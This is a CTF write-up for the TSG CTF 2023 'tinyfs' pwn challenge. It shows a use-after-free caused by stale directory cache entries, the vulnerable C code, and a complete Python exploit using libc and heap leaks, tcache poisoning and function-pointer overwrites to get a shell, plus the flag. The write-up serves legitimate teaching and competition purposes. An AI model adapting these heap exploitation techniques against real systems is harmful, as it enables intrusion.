Rating:

# TSG CTF 2023 - pwn/tinyfs

## Solution

When you command `cd <absolute path>`, the directory (`MyFolder*`) is cached using the path as the key. If the path is already cached, it will navigate to the directory without scanning the filesystem.

When `delete_item` function deletes a directory, it frees all files (`MyFile*`) that are children of the directory. This also deletes the cache entry for the directory, but not the entries for the subdirectories.

```c

void delete_item(char* name) {
VALIDATE_NAME(name);

for (int i = 0; i < CONTENT_MAX; i++) {
if (pwd->folders[i] && !strcmp(pwd->folders[i]->name, name)) {
for (int j = 0; j < CONTENT_MAX; j++) {
if (pwd->folders[i]->files[j]) {
free(pwd->folders[i]->files[j]);
}
}
delete_cache(pwd->folders[i]);
pwd->folders[i] = NULL;
puts("The folder has been deleted.");
return;
}
}

for (int i = 0; i < CONTENT_MAX; i++) {
if (pwd->files[i] && !strcmp(pwd->files[i]->name, name)) {
free(pwd->files[i]);
pwd->files[i] = NULL;
puts("The file has been deleted.");
return;
}
}

puts("The item is not found.");
}
```

Thus, we can navigate to the deleted subdirectory as follows:

```
mkdir A
cd A
touch x
mkdir B
cd /A/B/
cd /
rm /A # x is freed
cd /A/B/
```

We can also navigate to the parent directory.

```
cd ..
```

Now we can access the freed files in the directory `A` by `cat` or `mod`. The remaining work is the same as standard heap challenges: leak libc's base address and safe-linking mask, do tcache poisoning, and rewrite some function pointers to get the shell.

## Exploit

```python
sc.after("$").sendline("mkdir A")
sc.after("$").sendline("cd A")

for i in range(8):
sc.after("$").sendline(f"touch {i}")
sc.after("$").sendline(f"mod {i}")
sc.after("Write Here >").sendline("X" * 32)

sc.after("$").sendline("cd ..")
sc.after("$").sendline(f"touch x1")
sc.after("$").sendline("cd A")

sc.after("$").sendline("mkdir B")
sc.after("$").sendline("cd /A/B")
sc.after("$").sendline("cd /")
sc.after("$").sendline("rm A")
sc.after("$").sendline("cd /A/B")
sc.after("$").sendline("cd ..")

sc.after("$").sendline("ls")

# libc leak

sc.after("$ ").sendline("cat 0")

leak = sc.recv_before(b"\n$")

libc_offset = util.u2i(leak) - 0x7fb69fbf6ce0
libc_base = 0x00007fb69fa00000 + libc_offset
print(f"{libc_base=:#x}")

# heap leak

sc.after("$ ").sendline("cat 7")
leak = sc.recv_before(b"\n$")

ptr_mask = util.u2i(leak) << 12
print(f"{ptr_mask=:#x}")

sc.after("$ ").sendline("cat 5")
leak = sc.recv_before(b"\n$")

ptr_6 = util.u2i(leak) ^ (ptr_mask >> 12)
print(f"{ptr_6=:#x}")

# tcache poisoning

shift = 4

sc.after("$ ").sendline(f"mod 6")
sc.after("Write Here >").sendline(util.u64((libc_base + 0x1f6000 + 8 * shift) ^ (ptr_mask >> 12)))

for i in range(6):
sc.after("$").sendline(f"touch y{i}")

sc.after("$").sendline(f"touch z")
sc.after("$").sendline(f"mod z")

ptrs = [0x40 + i for i in range(0x200 // 8 - 1)]

ptrs[0x15] = 0x00052f4f + libc_base
ptrs[0x1b] = 0x00153f54 + libc_base
ptrs[0x21] = 0xea953 + libc_base
ptrs[0x1d] = 0x4e8a0 + libc_base

sc.after("Write Here >").sendline(util.u64(*ptrs[shift:][:0x100 // 8 - 1]))
```

## Flag

```
TSGCTF{de1eting_fi1e5_recur5ive1y_5ave5_y0ur_1ife}
```

Original writeup (https://github.com/x-vespiary/writeup/blob/master/2023/11-tsg/pwn-tinyfs.md).